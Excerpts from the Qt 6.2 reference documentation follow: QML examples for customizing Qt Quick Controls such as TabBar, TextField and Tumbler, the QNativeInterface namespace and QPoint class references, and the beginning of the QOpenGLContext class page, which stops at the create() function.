        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        elide: Text.ElideRight
        verticalAlignment: Text.AlignVCenter
    }

    indicator: Rectangle {
        implicitWidth: 48
        implicitHeight: 26
        x: control.width - width - control.rightPadding
        y: parent.height / 2 - height / 2
        radius: 13
        color: control.checked ? "#17a81a" : "transparent"
        border.color: control.checked ? "#17a81a" : "#cccccc"

        Rectangle {
            x: control.checked ? parent.width - width : 0
            width: 26
            height: 26
            radius: 13
            color: control.down ? "#cccccc" : "#ffffff"
            border.color: control.checked ? (control.down ? "#17a81a" : "#21be2b") : "#999999"
        }
    }

    background: Rectangle {
        implicitWidth: 100
        implicitHeight: 40
        visible: control.down || control.highlighted
        color: control.down ? "#bdbebf" : "#eeeeee"
    }
}
```
 ### Customizing TabBar

 [TabBar](qml-qtquick-controls2-tabbar) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop), and [contentItem](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

TabBar {
    id: control

    background: Rectangle {
        color: "#eeeeee"
    }

    TabButton {
        text: qsTr("Home")
    }
    TabButton {
        text: qsTr("Discover")
    }
    TabButton {
        text: qsTr("Activity")
    }
}
```
 ### Customizing TabButton

 [TabButton](qml-qtquick-controls2-tabbutton) can be customized in the same manner as [Button](qtquickcontrols2-customize#customizing-button).

 ### Customizing TextArea

 [TextArea](qml-qtquick-controls2-textarea) consists of a [background](qml-qtquick-controls2-textarea#background-prop) item.

 ![]



```
import QtQuick
import QtQuick.Controls

TextArea {
    id: control
    placeholderText: qsTr("Enter description")

    background: Rectangle {
        implicitWidth: 200
        implicitHeight: 40
        border.color: control.enabled ? "#21be2b" : "transparent"
    }
}
```
 ### Customizing TextField

 [TextField](qml-qtquick-controls2-textfield) consists of a [background](qml-qtquick-controls2-textfield#background-prop) item.

 ![]



```
import QtQuick
import QtQuick.Controls

TextField {
    id: control
    placeholderText: qsTr("Enter description")

    background: Rectangle {
        implicitWidth: 200
        implicitHeight: 40
        color: control.enabled ? "transparent" : "#353637"
        border.color: control.enabled ? "#21be2b" : "transparent"
    }
}
```
 ### Customizing ToolBar

 [ToolBar](qml-qtquick-controls2-toolbar) consists of one visual item: [background](qml-qtquick-controls2-control#background-prop).

 ![]



```
ToolBar {
    id: control

    background: Rectangle {
        implicitHeight: 40
        color: "#eeeeee"

        Rectangle {
            width: parent.width
            height: 1
            anchors.bottom: parent.bottom
            color: "transparent"
            border.color: "#21be2b"
        }
    }

    RowLayout {
        anchors.fill: parent
        ToolButton {
            text: qsTr("Undo")
        }
        ToolButton {
            text: qsTr("Redo")
        }
    }
}
```
 ### Customizing ToolButton

 [ToolButton](qml-qtquick-controls2-toolbutton) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

ToolButton {
    id: control
    text: qsTr("ToolButton")
    width: 120

    contentItem: Text {
        text: control.text
        font: control.font
        opacity: enabled ? 1.0 : 0.3
        color: control.down ? "#17a81a" : "#21be2b"
        horizontalAlignment: Text.AlignHCenter
        verticalAlignment: Text.AlignVCenter
        elide: Text.ElideRight
    }

    background: Rectangle {
        implicitWidth: 40
        implicitHeight: 40
        color: Qt.darker("#33333333", control.enabled && (control.checked || control.highlighted) ? 1.5 : 1.0)
        opacity: enabled ? 1 : 0.3
        visible: control.down || (control.enabled && (control.checked || control.highlighted))
    }
}
```
 ### Customizing ToolSeparator

 [ToolSeparator](qml-qtquick-controls2-toolseparator) consists of two visual items: [background](qml-qtquick-controls2-control#background-prop) and [content item](qml-qtquick-controls2-control#contentItem-prop).

 ![]



```
ToolBar {
    RowLayout {
        anchors.fill: parent

        ToolButton {
            text: qsTr("Action 1")
        }
        ToolButton {
            text: qsTr("Action 2")
        }

        ToolSeparator {
            padding: vertical ? 10 : 2
            topPadding: vertical ? 2 : 10
            bottomPadding: vertical ? 2 : 10

            contentItem: Rectangle {
                implicitWidth: parent.vertical ? 1 : 24
                implicitHeight: parent.vertical ? 24 : 1
                color: "#c3c3c3"
            }
        }

        ToolButton {
            text: qsTr("Action 3")
        }
        ToolButton {
            text: qsTr("Action 4")
        }

        Item {
            Layout.fillWidth: true
        }
    }
}
```
 ### Customizing ToolTip

 [ToolTip](qml-qtquick-controls2-tooltip) consists of two visual items: [background](qml-qtquick-controls2-popup#background-prop) and [content item](qml-qtquick-controls2-popup#contentItem-prop).

 
```
import QtQuick
import QtQuick.Controls

ToolTip {
    id: control
    text: qsTr("A descriptive tool tip of what the button does")

    contentItem: Text {
        text: control.text
        font: control.font
        color: "#21be2b"
    }

    background: Rectangle {
        border.color: "#21be2b"
    }
}
```
 ### Customizing Tumbler

 Tumbler consists of three visual items: [background](qml-qtquick-controls2-control#background-prop), [contentItem](qml-qtquick-controls2-control#contentItem-prop), and [delegate](qml-qtquick-controls2-tumbler#delegate-prop).

 ![]



```
import QtQuick
import QtQuick.Controls

Tumbler {
    id: control
    model: 15

    background: Item {
        Rectangle {
            opacity: control.enabled ? 0.2 : 0.1
            border.color: "#000000"
            width: parent.width
            height: 1
            anchors.top: parent.top
        }

        Rectangle {
            opacity: control.enabled ? 0.2 : 0.1
            border.color: "#000000"
            width: parent.width
            height: 1
            anchors.bottom: parent.bottom
        }
    }

    delegate: Text {
        text: qsTr("Item %1").arg(modelData + 1)
        font: control.font
        horizontalAlignment: Text.AlignHCenter
        verticalAlignment: Text.AlignVCenter
        opacity: 1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2)

        required property var modelData
    }

    Rectangle {
        anchors.horizontalCenter: control.horizontalCenter
        y: control.height * 0.4
        width: 40
        height: 1
        color: "#21be2b"
    }

    Rectangle {
        anchors.horizontalCenter: control.horizontalCenter
        y: control.height * 0.6
        width: 40
        height: 1
        color: "#21be2b"
    }
}
```
 If you want to define your own contentItem, use either a [ListView](qml-qtquick-listview) or [PathView](qml-qtquick-pathview) as the root item. For a wrapping Tumbler, use [PathView](qml-qtquick-pathview):

 
```
Tumbler {
    id: tumbler

    contentItem: PathView {
        id: pathView
        model: tumbler.model
        delegate: tumbler.delegate
        clip: true
        pathItemCount: tumbler.visibleItemCount + 1
        preferredHighlightBegin: 0.5
        preferredHighlightEnd: 0.5
        dragMargin: width / 2

        path: Path {
            startX: pathView.width / 2
            startY: -pathView.delegateHeight / 2
            PathLine {
                x: pathView.width / 2
                y: pathView.pathItemCount * pathView.delegateHeight - pathView.delegateHeight / 2
            }
        }

        property real delegateHeight: tumbler.availableHeight / tumbler.visibleItemCount
    }
}
```
 For a non-wrapping Tumbler, use [ListView](qml-qtquick-listview):

 
```
Tumbler {
    id: tumbler

    contentItem: ListView {
        model: tumbler.model
        delegate: tumbler.delegate

        snapMode: ListView.SnapToItem
        highlightRangeMode: ListView.StrictlyEnforceRange
        preferredHighlightBegin: height / 2 - (height / tumbler.visibleItemCount / 2)
        preferredHighlightEnd: height / 2 + (height / tumbler.visibleItemCount / 2)
        clip: true
    }
}
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-customize.html>

QNativeInterface Namespace
==========================

 Contains the available native interfaces. [More...](#details)

 

|  |  |
| --- | --- |
|  Since: |  Qt 6.0 |

 Classes
-------

 

|  |  |
| --- | --- |
|  struct  | **[QAndroidApplication](qnativeinterface-qandroidapplication)** |
|  struct  | **[QAndroidOffscreenSurface](qnativeinterface-qandroidoffscreensurface)** |
|  struct  | **[QCocoaGLContext](qnativeinterface-qcocoaglcontext)** |
|  struct  | **[QEGLContext](qnativeinterface-qeglcontext)** |
|  struct  | **[QGLXContext](https://doc.qt.io/qt-6.2/qnativeinterface-qglxcontext.html)** |
|  struct  | **[QSGD3D11Texture](qnativeinterface-qsgd3d11texture)** |
|  struct  | **[QSGMetalTexture](qnativeinterface-qsgmetaltexture)** |
|  struct  | **[QSGOpenGLTexture](qnativeinterface-qsgopengltexture)** |
|  struct  | **[QSGVulkanTexture](qnativeinterface-qsgvulkantexture)** |
|  struct  | **[QWGLContext](qnativeinterface-qwglcontext)** |
|  struct  | **[QX11Application](qnativeinterface-qx11application)** |

 Detailed Description
--------------------

 For documentation on how to use these interfaces, see the [Native Interfaces](native-interfaces) overview.

  **Warning:** There are no source or binary compatibility guarantees for the native interface APIs, meaning that an application using these interfaces is only guaranteed to work with the Qt version it was developed against.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qnativeinterface.html>

QPoint Class
============

 The QPoint class defines a point in the plane using integer precision. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QPoint> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qpoint-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QPoint](qpoint#QPoint-1)**(int *xpos*, int *ypos*) |
|  | **[QPoint](qpoint#QPoint)**() |
|  bool  | **[isNull](qpoint#isNull)**() const |
|  int  | **[manhattanLength](qpoint#manhattanLength)**() const |
|  int & | **[rx](qpoint#rx)**() |
|  int & | **[ry](qpoint#ry)**() |
|  void  | **[setX](qpoint#setX)**(int *x*) |
|  void  | **[setY](qpoint#setY)**(int *y*) |
|  CGPoint  | **[toCGPoint](qpoint#toCGPoint)**() const |
|  QPoint  | **[transposed](qpoint#transposed)**() const |
|  int  | **[x](qpoint#x)**() const |
|  int  | **[y](qpoint#y)**() const |
|  QPoint & | **[operator\*=](qpoint#operator-2a-eq)**(float *factor*) |
|  QPoint & | **[operator\*=](qpoint#operator-2a-eq-1)**(double *factor*) |
|  QPoint & | **[operator\*=](qpoint#operator-2a-eq-2)**(int *factor*) |
|  QPoint & | **[operator+=](qpoint#operator-2b-eq)**(const QPoint &*point*) |
|  QPoint & | **[operator-=](qpoint#operator--eq)**(const QPoint &*point*) |
|  QPoint & | **[operator/=](qpoint#operator-2f-eq)**(qreal *divisor*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  int  | **[dotProduct](qpoint#dotProduct)**(const QPoint &*p1*, const QPoint &*p2*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  bool  | **[operator!=](qpoint#operator-not-eq)**(const QPoint &*p1*, const QPoint &*p2*) |
|  QPoint  | **[operator\*](qpoint#operator-2a)**(const QPoint &*point*, float *factor*) |
|  QPoint  | **[operator\*](qpoint#operator-2a-1)**(const QPoint &*point*, double *factor*) |
|  QPoint  | **[operator\*](qpoint#operator-2a-2)**(const QPoint &*point*, int *factor*) |
|  QPoint  | **[operator\*](qpoint#operator-2a-3)**(float *factor*, const QPoint &*point*) |
|  QPoint  | **[operator\*](qpoint#operator-2a-4)**(double *factor*, const QPoint &*point*) |
|  QPoint  | **[operator\*](qpoint#operator-2a-5)**(int *factor*, const QPoint &*point*) |
|  QPoint  | **[operator+](qpoint#operator-2b)**(const QPoint &*p1*, const QPoint &*p2*) |
|  QPoint  | **[operator+](qpoint#operator-2b-1)**(const QPoint &*point*) |
|  QPoint  | **[operator-](qpoint#operator-)**(const QPoint &*p1*, const QPoint &*p2*) |
|  QPoint  | **[operator-](qpoint#operator--1)**(const QPoint &*point*) |
|  QPoint  | **[operator/](qpoint#operator-2f)**(const QPoint &*point*, qreal *divisor*) |
|  QDataStream & | **[operator<<](qpoint#operator-lt-lt)**(QDataStream &*stream*, const QPoint &*point*) |
|  bool  | **[operator==](qpoint#operator-eq-eq)**(const QPoint &*p1*, const QPoint &*p2*) |
|  QDataStream & | **[operator>>](qpoint#operator-gt-gt)**(QDataStream &*stream*, QPoint &*point*) |

 Detailed Description
--------------------

 A point is specified by a x coordinate and an y coordinate which can be accessed using the [x](qpoint#x)() and [y](qpoint#y)() functions. The [isNull](qpoint#isNull)() function returns `true` if both x and y are set to 0. The coordinates can be set (or altered) using the [setX](qpoint#setX)() and [setY](qpoint#setY)() functions, or alternatively the [rx](qpoint#rx)() and [ry](qpoint#ry)() functions which return references to the coordinates (allowing direct manipulation).

 Given a point *p*, the following statements are all equivalent:

 
```
QPoint p;

p.setX(p.x() + 1);
p += QPoint(1, 0);
p.rx()++;
```
 A QPoint object can also be used as a vector: Addition and subtraction are defined as for vectors (each component is added separately). A QPoint object can also be divided or multiplied by an `int` or a `qreal`.

 In addition, the QPoint class provides the [manhattanLength](qpoint#manhattanLength)() function which gives an inexpensive approximation of the length of the QPoint object interpreted as a vector. Finally, QPoint objects can be streamed as well as compared.

 **See also** [QPointF](qpointf) and [QPolygon](qpolygon).

 Member Function Documentation
-----------------------------

 ### QPoint::QPoint(int *xpos*, int *ypos*)

 Constructs a point with the given coordinates (*xpos*, *ypos*).

 **See also** [setX](qpoint#setX)() and [setY](qpoint#setY)().

 ### QPoint::QPoint()

 Constructs a null point, i.e. with coordinates (0, 0)

 **See also** [isNull](qpoint#isNull)().

 ### 
`[static, since 5.1]` int QPoint::dotProduct(const [QPoint](qpoint#QPoint) &*p1*, const [QPoint](qpoint#QPoint) &*p2*)

 
```
QPoint p( 3, 7);
QPoint q(-1, 4);
int lengthSquared = QPoint::dotProduct(p, q);   // lengthSquared becomes 25
```
 Returns the dot product of *p1* and *p2*.

 This function was introduced in Qt 5.1.

 ### 
bool QPoint::isNull() const

 Returns `true` if both the x and y coordinates are set to 0, otherwise returns `false`.

 ### 
int QPoint::manhattanLength() const

 Returns the sum of the absolute values of [x](qpoint#x)() and [y](qpoint#y)(), traditionally known as the "Manhattan length" of the vector from the origin to the point. For example:

 
```
QPoint oldPosition;

MyWidget::mouseMoveEvent(QMouseEvent *event)
{
    QPoint point = event->pos() - oldPosition;
    if (point.manhattanLength() > 3)
        // the mouse has moved more than 3 pixels since the oldPosition
}
```
 This is a useful, and quick to calculate, approximation to the true length:

 
```
double trueLength = std::sqrt(std::pow(x(), 2) + std::pow(y(), 2));
```
 The tradition of "Manhattan length" arises because such distances apply to travelers who can only travel on a rectangular grid, like the streets of Manhattan.

 ### 
int &QPoint::rx()

 Returns a reference to the x coordinate of this point.

 Using a reference makes it possible to directly manipulate x. For example:

 
```
QPoint p(1, 2);
p.rx()--;   // p becomes (0, 2)
```
 **See also** [x](qpoint#x)() and [setX](qpoint#setX)().

 ### 
int &QPoint::ry()

 Returns a reference to the y coordinate of this point.

 Using a reference makes it possible to directly manipulate y. For example:

 
```
QPoint p(1, 2);
p.ry()++;   // p becomes (1, 3)
```
 **See also** [y](qpoint#y)() and [setY](qpoint#setY)().

 ### 
void QPoint::setX(int *x*)

 Sets the x coordinate of this point to the given *x* coordinate.

 **See also** [x](qpoint#x)() and [setY](qpoint#setY)().

 ### 
void QPoint::setY(int *y*)

 Sets the y coordinate of this point to the given *y* coordinate.

 **See also** [y](qpoint#y)() and [setX](qpoint#setX)().

 ### 
`[since 5.8]` CGPoint QPoint::toCGPoint() const

 Creates a CGPoint from a [QPoint](qpoint).

 This function was introduced in Qt 5.8.

 **See also** [QPointF::fromCGPoint](qpointf#fromCGPoint)().

 ### 
`[since 5.14]` [QPoint](qpoint#QPoint) QPoint::transposed() const

 Returns a point with x and y coordinates exchanged:

 
```
QPoint{1, 2}.transposed() // {2, 1}
```
 This function was introduced in Qt 5.14.

 **See also** [x](qpoint#x)(), [y](qpoint#y)(), [setX](qpoint#setX)(), and [setY](qpoint#setY)().

 ### 
int QPoint::x() const

 Returns the x coordinate of this point.

 **See also** [setX](qpoint#setX)() and [rx](qpoint#rx)().

 ### 
int QPoint::y() const

 Returns the y coordinate of this point.

 **See also** [setY](qpoint#setY)() and [ry](qpoint#ry)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator\*=(float *factor*)

 Multiplies this point's coordinates by the given *factor*, and returns a reference to this point.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [operator/=](qpoint#operator-2f-eq)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator\*=(double *factor*)

 Multiplies this point's coordinates by the given *factor*, and returns a reference to this point. For example:

 
```
QPoint p(-1, 4);
p *= 2.5;    // p becomes (-3, 10)
```
 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [operator/=](qpoint#operator-2f-eq)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator\*=(int *factor*)

 Multiplies this point's coordinates by the given *factor*, and returns a reference to this point.

 **See also** [operator/=](qpoint#operator-2f-eq)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator+=(const [QPoint](qpoint#QPoint) &*point*)

 Adds the given *point* to this point and returns a reference to this point. For example:

 
```
QPoint p( 3, 7);
QPoint q(-1, 4);
p += q;    // p becomes (2, 11)
```
 **See also** [operator-=](qpoint#operator--eq)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator-=(const [QPoint](qpoint#QPoint) &*point*)

 Subtracts the given *point* from this point and returns a reference to this point. For example:

 
```
QPoint p( 3, 7);
QPoint q(-1, 4);
p -= q;    // p becomes (4, 3)
```
 **See also** [operator+=](qpoint#operator-2b-eq)().

 ### 
[QPoint](qpoint#QPoint) &QPoint::operator/=([qreal](qtglobal#qreal-typedef) *divisor*)

 This is an overloaded function.

 Divides both x and y by the given *divisor*, and returns a reference to this point. For example:

 
```
QPoint p(-3, 10);
p /= 2.5;           // p becomes (-1, 4)
```
 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [operator\*=](qpoint#operator-2a-eq)().

  Related Non-Members
-------------------

 ### 
bool operator!=(const [QPoint](qpoint#QPoint) &*p1*, const [QPoint](qpoint#QPoint) &*p2*)

 Returns `true` if *p1* and *p2* are not equal; otherwise returns `false`.

 ### 
[QPoint](qpoint#QPoint) operator\*(const [QPoint](qpoint#QPoint) &*point*, float *factor*)

 Returns a copy of the given *point* multiplied by the given *factor*.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator\*(const [QPoint](qpoint#QPoint) &*point*, double *factor*)

 Returns a copy of the given *point* multiplied by the given *factor*.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator\*(const [QPoint](qpoint#QPoint) &*point*, int *factor*)

 Returns a copy of the given *point* multiplied by the given *factor*.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator\*(float *factor*, const [QPoint](qpoint#QPoint) &*point*)

 This is an overloaded function.

 Returns a copy of the given *point* multiplied by the given *factor*.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator\*(double *factor*, const [QPoint](qpoint#QPoint) &*point*)

 This is an overloaded function.

 Returns a copy of the given *point* multiplied by the given *factor*.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator\*(int *factor*, const [QPoint](qpoint#QPoint) &*point*)

 This is an overloaded function.

 Returns a copy of the given *point* multiplied by the given *factor*.

 **See also** [QPoint::operator\*=](qpoint#operator-2a-eq)().

 ### 
[QPoint](qpoint#QPoint) operator+(const [QPoint](qpoint#QPoint) &*p1*, const [QPoint](qpoint#QPoint) &*p2*)

 Returns a [QPoint](qpoint) object that is the sum of the given points, *p1* and *p2*; each component is added separately.

 **See also** [QPoint::operator+=](qpoint#operator-2b-eq)().

 ### 
`[since 5.0]` [QPoint](qpoint#QPoint) operator+(const [QPoint](qpoint#QPoint) &*point*)

 Returns *point* unmodified.

 This function was introduced in Qt 5.0.

 ### 
[QPoint](qpoint#QPoint) operator-(const [QPoint](qpoint#QPoint) &*p1*, const [QPoint](qpoint#QPoint) &*p2*)

 Returns a [QPoint](qpoint) object that is formed by subtracting *p2* from *p1*; each component is subtracted separately.

 **See also** [QPoint::operator-=](qpoint#operator--eq)().

 ### 
[QPoint](qpoint#QPoint) operator-(const [QPoint](qpoint#QPoint) &*point*)

 This is an overloaded function.

 Returns a [QPoint](qpoint) object that is formed by changing the sign of both components of the given *point*.

 Equivalent to `QPoint(0,0) - point`.

 ### 
[QPoint](qpoint#QPoint) operator/(const [QPoint](qpoint#QPoint) &*point*, [qreal](qtglobal#qreal-typedef) *divisor*)

 Returns the [QPoint](qpoint) formed by dividing both components of the given *point* by the given *divisor*.

 Note that the result is rounded to the nearest integer as points are held as integers. Use [QPointF](qpointf) for floating point accuracy.

 **See also** [QPoint::operator/=](qpoint#operator-2f-eq)().

 ### 
[QDataStream](qdatastream) &operator<<([QDataStream](qdatastream) &*stream*, const [QPoint](qpoint#QPoint) &*point*)

 Writes the given *point* to the given *stream* and returns a reference to the stream.

 **See also** [Serializing Qt Data Types](datastreamformat).

 ### 
bool operator==(const [QPoint](qpoint#QPoint) &*p1*, const [QPoint](qpoint#QPoint) &*p2*)

 Returns `true` if *p1* and *p2* are equal; otherwise returns false.

 ### 
[QDataStream](qdatastream) &operator>>([QDataStream](qdatastream) &*stream*, [QPoint](qpoint#QPoint) &*point*)

 Reads a point from the given *stream* into the given *point* and returns a reference to the stream.

 **See also** [Serializing Qt Data Types](datastreamformat).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qpoint.html>

QOpenGLContext Class
====================

 The QOpenGLContext class represents a native OpenGL context, enabling OpenGL rendering on a [QSurface](qsurface). [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QOpenGLContext> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.0 |
|  Inherits: | [QObject](qobject) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qopenglcontext-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[OpenGLModuleType](qopenglcontext#OpenGLModuleType-enum)** { LibGL, LibGLES } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QOpenGLContext](qopenglcontext#QOpenGLContext)**(QObject \**parent* = nullptr) |
|  virtual  | **[~QOpenGLContext](qopenglcontext#dtor.QOpenGLContext)**() |
|  bool  | **[create](qopenglcontext#create)**() |
|  GLuint  | **[defaultFramebufferObject](qopenglcontext#defaultFramebufferObject)**() const |
|  void  | **[doneCurrent](qopenglcontext#doneCurrent)**() |
|  QSet<QByteArray>  | **[extensions](qopenglcontext#extensions)**() const |
|  QOpenGLExtraFunctions \* | **[extraFunctions](qopenglcontext#extraFunctions)**() const |
|  QSurfaceFormat  | **[format](qopenglcontext#format)**() const |
|  QOpenGLFunctions \* | **[functions](qopenglcontext#functions)**() const |
|  QFunctionPointer  | **[getProcAddress](qopenglcontext#getProcAddress)**(const QByteArray &*procName*) const |
|  QFunctionPointer  | **[getProcAddress](qopenglcontext#getProcAddress-1)**(const char \**procName*) const |
|  bool  | **[hasExtension](qopenglcontext#hasExtension)**(const QByteArray &*extension*) const |
|  bool  | **[isOpenGLES](qopenglcontext#isOpenGLES)**() const |
|  bool  | **[isValid](qopenglcontext#isValid)**() const |
|  bool  | **[makeCurrent](qopenglcontext#makeCurrent)**(QSurface \**surface*) |
|  QNativeInterface \* | **[nativeInterface](qopenglcontext#nativeInterface)**() const |
|  QScreen \* | **[screen](qopenglcontext#screen)**() const |
|  void  | **[setFormat](qopenglcontext#setFormat)**(const QSurfaceFormat &*format*) |
|  void  | **[setScreen](qopenglcontext#setScreen)**(QScreen \**screen*) |
|  void  | **[setShareContext](qopenglcontext#setShareContext)**(QOpenGLContext \**shareContext*) |
|  QOpenGLContext \* | **[shareContext](qopenglcontext#shareContext)**() const |
|  QOpenGLContextGroup \* | **[shareGroup](qopenglcontext#shareGroup)**() const |
|  QSurface \* | **[surface](qopenglcontext#surface)**() const |
|  void  | **[swapBuffers](qopenglcontext#swapBuffers)**(QSurface \**surface*) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[aboutToBeDestroyed](qopenglcontext#aboutToBeDestroyed)**() |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  bool  | **[areSharing](qopenglcontext#areSharing)**(QOpenGLContext \**first*, QOpenGLContext \**second*) |
|  QOpenGLContext \* | **[currentContext](qopenglcontext#currentContext)**() |
|  QOpenGLContext \* | **[globalShareContext](qopenglcontext#globalShareContext)**() |
|  QOpenGLContext::OpenGLModuleType  | **[openGLModuleType](qopenglcontext#openGLModuleType)**() |
|  bool  | **[supportsThreadedOpenGL](qopenglcontext#supportsThreadedOpenGL)**() |

 Detailed Description
--------------------

 QOpenGLContext represents the OpenGL state of an underlying OpenGL context. To set up a context, set its screen and format such that they match those of the surface or surfaces with which the context is meant to be used, if necessary make it share resources with other contexts with [setShareContext](qopenglcontext#setShareContext)(), and finally call [create](qopenglcontext#create)(). Use the return value or [isValid](qopenglcontext#isValid)() to check if the context was successfully initialized.

 A context can be made current against a given surface by calling [makeCurrent](qopenglcontext#makeCurrent)(). When OpenGL rendering is done, call [swapBuffers](qopenglcontext#swapBuffers)() to swap the front and back buffers of the surface, so that the newly rendered content becomes visible. To be able to support certain platforms, QOpenGLContext requires that you call [makeCurrent](qopenglcontext#makeCurrent)() again before starting rendering a new frame, after calling [swapBuffers](qopenglcontext#swapBuffers)().

 If the context is temporarily not needed, such as when the application is not rendering, it can be useful to delete it in order to free resources. You can connect to the [aboutToBeDestroyed](qopenglcontext#aboutToBeDestroyed)() signal to clean up any resources that have been allocated with different ownership from the QOpenGLContext itself.

 Once a QOpenGLContext has been made current, you can render to it in a platform independent way by using Qt's OpenGL enablers such as [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html), [QOpenGLBuffer](qopenglbuffer), [QOpenGLShaderProgram](qopenglshaderprogram), and [QOpenGLFramebufferObject](qopenglframebufferobject). It is also possible to use the platform's OpenGL API directly, without using the Qt enablers, although potentially at the cost of portability. The latter is necessary when wanting to use OpenGL 1.x or OpenGL ES 1.x.

 For more information about the OpenGL API, refer to the official [OpenGL documentation](http://www.opengl.org).

 For an example of how to use QOpenGLContext see the [OpenGL Window](https://doc.qt.io/qt-6.2/qtopengl-openglwindow-example.html) example.

 ### Thread Affinity

 QOpenGLContext can be moved to a different thread with [moveToThread](qobject#moveToThread)(). Do not call [makeCurrent](qopenglcontext#makeCurrent)() from a different thread than the one to which the QOpenGLContext object belongs. A context can only be current in one thread and against one surface at a time, and a thread only has one context current at a time.

 ### Context Resource Sharing

 Resources such as textures and vertex buffer objects can be shared between contexts. Use [setShareContext](qopenglcontext#setShareContext)() before calling [create](qopenglcontext#create)() to specify that the contexts should share these resources. QOpenGLContext internally keeps track of a [QOpenGLContextGroup](qopenglcontextgroup) object which can be accessed with [shareGroup](qopenglcontext#shareGroup)(), and which can be used to find all the contexts in a given share group. A share group consists of all contexts that have been successfully initialized and are sharing with an existing context in the share group. A non-sharing context has a share group consisting of a single context.

 ### Default Framebuffer

 On certain platforms, a framebuffer other than 0 might be the default frame buffer depending on the current surface. Instead of calling glBindFramebuffer(0), it is recommended that you use glBindFramebuffer(ctx->[defaultFramebufferObject](qopenglcontext#defaultFramebufferObject)()), to ensure that your application is portable between different platforms. However, if you use [QOpenGLFunctions::glBindFramebuffer](https://doc.qt.io/qt-6.2/qopenglfunctions.html#glBindFramebuffer)(), this is done automatically for you.

 **See also** [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html), [QOpenGLBuffer](qopenglbuffer), [QOpenGLShaderProgram](qopenglshaderprogram), and [QOpenGLFramebufferObject](qopenglframebufferobject).

 Member Type Documentation
-------------------------

 ### 
`[since 5.3]` enum QOpenGLContext::OpenGLModuleType

 This enum defines the type of the underlying OpenGL implementation.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QOpenGLContext::LibGL` | `0` | OpenGL |
| `QOpenGLContext::LibGLES` | `1` | OpenGL ES 2.0 or higher |

 This enum was introduced or modified in Qt 5.3.

 Member Function Documentation
-----------------------------

 ### QOpenGLContext::QOpenGLContext([QObject](qobject#QObject) \**parent* = nullptr)

 Creates a new OpenGL context instance with parent object *parent*.

 Before it can be used you need to set the proper format and call [create](qopenglcontext#create)().

 **See also** [create](qopenglcontext#create)() and [makeCurrent](qopenglcontext#makeCurrent)().

 ### 
`[signal]` void QOpenGLContext::aboutToBeDestroyed()

 This signal is emitted before the underlying native OpenGL context is destroyed, such that users may clean up OpenGL resources that might otherwise be left dangling in the case of shared OpenGL contexts.

 If you wish to make the context current in order to do clean-up, make sure to only connect to the signal using a direct connection.

 ### 
`[virtual]` QOpenGLContext::~QOpenGLContext()

 Destroys the [QOpenGLContext](qopenglcontext) object.

 If this is the current context for the thread, [doneCurrent](qopenglcontext#doneCurrent)() is also called.

 ### 
`[static]` bool QOpenGLContext::areSharing([QOpenGLContext](qopenglcontext#QOpenGLContext) \**first*, [QOpenGLContext](qopenglcontext#QOpenGLContext) \**second*)

 Returns `true` if the *first* and *second* contexts are sharing OpenGL resources.

 ### 
bool QOpenGLContext::create()

